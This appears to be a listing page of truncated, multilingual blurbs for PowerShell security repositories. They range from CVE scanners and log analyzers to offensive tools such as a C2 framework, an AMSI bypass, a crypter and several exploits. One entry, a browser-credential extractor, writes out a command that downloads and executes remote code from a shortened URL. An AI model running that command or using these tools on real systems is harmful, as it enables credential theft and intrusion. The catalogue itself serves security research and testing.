ATTPwn

ATTPwn / || || || | || || \ | o || || || o | | || | | ||| |||| ||| /| | | || | | | | | | | | | | | ' || | | | | | | | | | | | \ / | | | ||| || || || // ||| ATTPwn هي أداة أمنية حاسوبية مصممة لمحاكاة الخصوم. تهدف الأداة إلى تقريب محاكاة تهديد حقيقي من التطبيقات القائمة على تقنيات وتكتيكات إطار...

fleet-cve-scanner

fleet-cve-scanner ماسح ثغرات CVE مفتوح المصدر بملف نصي واحد للأساطيل المُدارة بواسطة RMM. يعمل بـ PowerShell 7 النقي، لا وكلاء، لا أجهزة، لا رسوم ترخيص. يجيب على سؤال واحد لكل قطعة برمجية على كل نقطة نهاية تديرها: هل الإصدار المثبت معروف بكونه ضعيفًا، وكم هي درجة الاستعجال؟ — من خلال ربط جرد...

HuntCyberArk

HuntCyberArk - Suite d'audit de sécurité CyberArk Un outil complet d'évaluation de sécurité basé sur PowerShell pour les plateformes CyberArk Privileged Access Management PAM. Conçu pour les professionnels de la sécurité offensive, les red teamers et les testeurs d'intrusion. Cet outil est conçu...

KeePass-CVE-2023-24055

KeePass-CVE-2023-24055 Reproduction de KeePass CVE-2023-24055 Reproduction de KeePass CVE-2023-24055 1. Préparer la machine : kali 192.168.232.129, windows10 192.168.232.128 2. Version de KeePass : 2.53 2. Principe : en modifiant le fichier de configuration KeePass.config.xml, ajouter une...

credgrap_ie_edge

credgrapieedge المحتوى: استخراج بيانات الاعتماد المخزنة من Internet Explorer و Edge المؤلف: Florian Hansemann | @HanseSecure | https://hansesecure.de التاريخ: 04/2018 الاستخدام powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" التوصية حل PowerShe...

meterpeter

Author: @r00t-3xp10it إصدار الإصدار: v2.10.14 التوزيعات المدعومة: Windows x86|x64, Linux مستوحى من عمل: '@ZHacker13 - ReverseTCPShell' :octocat: قائمة الانتقال السريع وصف المشروع قائمة الوحدات المتاحة أحدث إصدار من Meterpeter C2 كيفية الاستخدام - تحت توزيعات لينكس كيفية الاستخدام - تحت توزيعات...

AzureRT

AzureRT وحدة Powershell تنفذ العديد من cmdlets للتفاعل مع Azure و Azure AD من منظور هجومي. أدوات مساعدة مفيدة للتعامل مع التوثيق القائم على رمز الوصول access token، والتبديل بين واجهات Az و AzureAD و az cli، وهجمات جاهزة سهلة الاستخدام مثل تنفيذ الأوامر القائم على Runbook وغيرها. أهم Cmdlets تجلب...

PyFuscation

PyFuscation يتطلب Python3 الاستخدام: PyFuscation.py -h -f -v -p --ps SCRIPT الوسائط الاختيارية: • -h, --help عرض رسالة المساعدة هذه والخروج • -f إخفاء الدوال ○ قم بهذا أولاً... من المحتمل أنه الأكثر فعالية • -v إخفاء المتغيرات ○ إذا كنت ستقوم بإخفاء المتغيرات، فقم بإخفاء المعاملات أيضًا. • -p إخف...

SharePointSecurityMonitor

🛡️ SharePoint Security Monitor v5.0 🚀 Une solution complète de surveillance de la sécurité SharePoint basée sur PowerShell, avec protection contre CVE-2023-29357 et CVE-2023-33157, gestion intelligente des DLL, détection avancée des menaces et capacités d'alerte automatisées. 📋 Table des matières ...

Powermad

أدوات استغلال MachineAccountQuota و DNS في PowerShell ويكي https://github.com/Kevin-Robertson/Powermad/wiki منشور المدونة ما وراء انتحال LLMNR/NBNS - استغلال DNS المتكامل مع Active Directory الدوال دوال MachineAccountQuota دوال DNS دوال التحديثات الديناميكية دوال ADIDNS دوال متنوعة دوال...

Excalibur

سيتم تحديث Excalibur قريبًا لاستخدام Metasploit عبر Bashbunny. Excalibur Excalibur هو استغلال Eternalblue يعتمد على "Powershell" لمشروع Bashbunny. الغرض منه هو إظهار كيف يمكن لمحرك أقراص USB "بسيط" تنفيذ سلسلة القتل السيبراني السبعة. يمكن استخدام Excalibur لأغراض العرض التوضيحي فقط، والمطورون غير...

CVE-2019-0708-Check-Device-Patch-Status

CVE-2019-0708-Сканер-уязвимости Скрипт PowerShell для запуска и определения, было ли установлено исправление для CVE-2019-0708 на конкретном устройстве. Он проверяет, был ли файл termdd.sys обновлён соответствующим образом и находится ли он на уровне версии, равном или превышающем версии,...

PowerShx

SharpShx تنفيذ باورشيل غير مُدار باستخدام مكتبات DLL أو ملف تنفيذي مستقل. مقدمة PowerShx هو إعادة كتابة وتوسعة لمشروع PowerShdll. يوفر PowerShx وظائف لتجاوز AMSI وتشغيل أوامر PS Cmdlets. الميزات تشغيل باورشيل باستخدام مكتبات DLL عبر rundll32.exe، installutil.exe، regsvcs.exe أو regasm.exe،...

z9

محلل سجل PowerShell z9 اليابانية ملخص تكتشف هذه الأداة أثر البرامج الضارة القائمة على PowerShell من سجل أحداث تسجيل PowerShell. عرض توضيحي عبر الإنترنت التثبيت git clone https://github.com/Sh1n0g1/z9 cd z9 pip install -r requirements.txt كيفية الاستخدام usage: z9.py -h --output OUTPUT -s...

DCOMrade

DCOMrade DCOMrade هي أداة Powershell قادرة على تعداد تطبيقات DCOM المعرضة للخطر والتي قد تسمح بالحركة الجانبية، تنفيذ الأكواد، استخراج البيانات، إلخ. تم بناء الأداة للعمل مع Powershell 2.0 ولكنها ستعمل مع جميع الإصدارات الأحدث أيضًا. تدعم الأداة حاليًا أنظمة تشغيل Windows التالية لكل من x86 و x64...

CVE-2020-27955-LFS

Exploit d'exécution de code à distance RCE Git-lfs CVE-2020-27955 .bat / powershell Vulnérable : git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken etc. Découvert par Dawid Golunski https://legalhackers.com https://exploitbox.io Testé sur Windows sur : git,...

xencrypt

Xencrypt PowerShell crypter v 1.0 Authors Xentropy @SamuelAnttila SecForce @SECFORCELTD If you want to read about the design behind this tool and how to make your own crypter, there's an article I wrote about it here: Write a crypter in any language Note Don't be a script kiddie, I made this GPLv...

xencrypt

Xencrypt مُشفّر PowerShell الإصدار 1.0 المؤلفون Xentropy @SamuelAnttila SecForce @SECFORCELTD إذا كنت تريد قراءة عن التصميم وراء هذه الأداة وكيفية صنع مشفر خاص بك، فهناك مقال كتبته عنها هنا: كتابة مشفر بأي لغة ملحوظة لا تكن متسول سكريبتات، لقد جعلت هذه الأداة تحت رخصة GPLv3 حتى تتمكن من إجراء...

CVE-2023-3519

CVE-2023-3519 Parce que tu peux lancer powershell sur le PC de ta daronne sans avoir à installer NMAP ou PYTHON, ni dire à qui que ce soit que tu utilises ARCH ! ; x...

WinPwn

برعاية WinPwn في العديد من اختبارات الاختراق الداخلية السابقة، كنت أواجه مشاكل مع نصوص Powershell الحالية لاكتشاف الثغرات واستغلالها بسبب عدم دعم الوكيل Proxy. كما كنت أضطر لتشغيل نفس النصوص الواحدة تلو الأخرى للحصول على معلومات حول النظام الحالي و/أو المجال. لأتمتة أكبر عدد ممكن من عمليات اختبار...